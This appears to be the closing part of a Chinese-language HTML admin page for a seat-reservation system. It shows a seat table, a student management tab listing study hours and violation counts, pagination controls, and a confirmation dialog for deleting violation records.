					</div>
					<div class="data-div">
						<div class="row tableHeader">
							<div class="col-xs-6 ">座位编码</div>
							<div class="col-xs-6 ">座位名称</div>

						</div>
						<div class="tablebody">

							<div class="row">
								<div class="col-xs-6 ">sad2345fas345533</div>
								<div class="col-xs-6">王座</div>

							</div>

						</div>

					</div>
					<!--页码块-->
					<footer class="footer">
						<ul class="pagination">
							<li><select>
									<option>1</option>
									<option>2</option>
									<option>3</option>
									<option>4</option>
									<option>5</option>
									<option>6</option>
									<option>7</option>
									<option>8</option>
									<option>9</option>
									<option>10</option>
							</select> 页</li>
							<li class="gray">共20页</li>
							<li><i class="glyphicon glyphicon-menu-left"> </i></li>
							<li><i class="glyphicon glyphicon-menu-right"> </i></li>
						</ul>
					</footer>

				</div>
				<!--人员管理模块-->
				<div role="tabpanel" class="tab-pane" id="stud">
					<div class="check-div form-inline">
						<div class="col-xs-5">
							<input type="text" class=" form-control input-sm"
								placeholder="输入文字搜索" style="height: 40px !important;">
							<button class="btn btn-white btn-xs ">查 询</button>
						</div>
						<div class="col-xs-4 col-lg-4  col-md-5"
							style="padding-right: 40px; text-align: right; float: right;">
							<label for="daoru">导入人员信息表:&nbsp;</label>
							<button class="btn btn-white btn-xs " id="daoru">选取文件</button>
							<button class="btn btn-white btn-xs ">导入</button>
						</div>

					</div>
					<div class="data-div">
						<div class="row tableHeader">
							<div class="col-xs-2 ">学号</div>
							<div class="col-xs-1 ">姓名</div>
							<div class="col-xs-2">院系</div>
							<div class="col-xs-2">年年</div>
							<div class="col-xs-2 ">学习时长</div>
							<div class="col-xs-2">违约次数</div>
							<div class="col-xs-1">操作</div>
						</div>
						<div class="tablebody">

							<div class="row">
								<div class="col-xs-2 ">6426398978</div>
								<div class="col-xs-1">邓超</div>
								<div class="col-xs-2">计算机地区</div>
								<div class="col-xs-2">2013年</div>
								<div class="col-xs-2">15</div>
								<div class="col-xs-2">2</div>
								<div class="col-xs-1">
									<button class="btn btn-danger btn-xs" data-toggle="modal"
										data-target="#deleteObey">清除违约</button>
								</div>
							</div>

						</div>

					</div>
					<!--页码块-->
					<footer class="footer">
						<ul class="pagination">
							<li><select>
									<option>1</option>
									<option>2</option>
									<option>3</option>
									<option>4</option>
									<option>5</option>
									<option>6</option>
									<option>7</option>
									<option>8</option>
									<option>9</option>
									<option>10</option>
							</select> 页</li>
							<li class="gray">共20页</li>
							<li><i class="glyphicon glyphicon-menu-left"> </i></li>
							<li><i class="glyphicon glyphicon-menu-right"> </i></li>
						</ul>
					</footer>

					<!--弹出删除违约记录警告窗口-->

					<div class="modal fade" id="deleteObey" role="dialog"
						aria-labelledby="gridSystemModalLabel">
						<div class="modal-dialog" role="document">
							<div class="modal-content">
								<div class="modal-header">
									<button type="button" class="close" data-dismiss="modal"
										aria-label="Close">
										<span aria-hidden="true">&times;</span>
									</button>
									<h4 class="modal-title" id="gridSystemModalLabel">提示</h4>
								</div>
								<div class="modal-body">
									<div class="container-fluid">确定要删除该违约记录？删除后不可恢复！</div>
								</div>
								<div class="modal-footer">
									<button type="button" class="btn btn-xs btn-white"
										data-dismiss="modal">取 消</button>
									<button type="button" class="btn btn-xs btn-danger">保
										存</button>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>
	</div>
	<script src="/static/js/main/main.js"></script>
</body>
</html>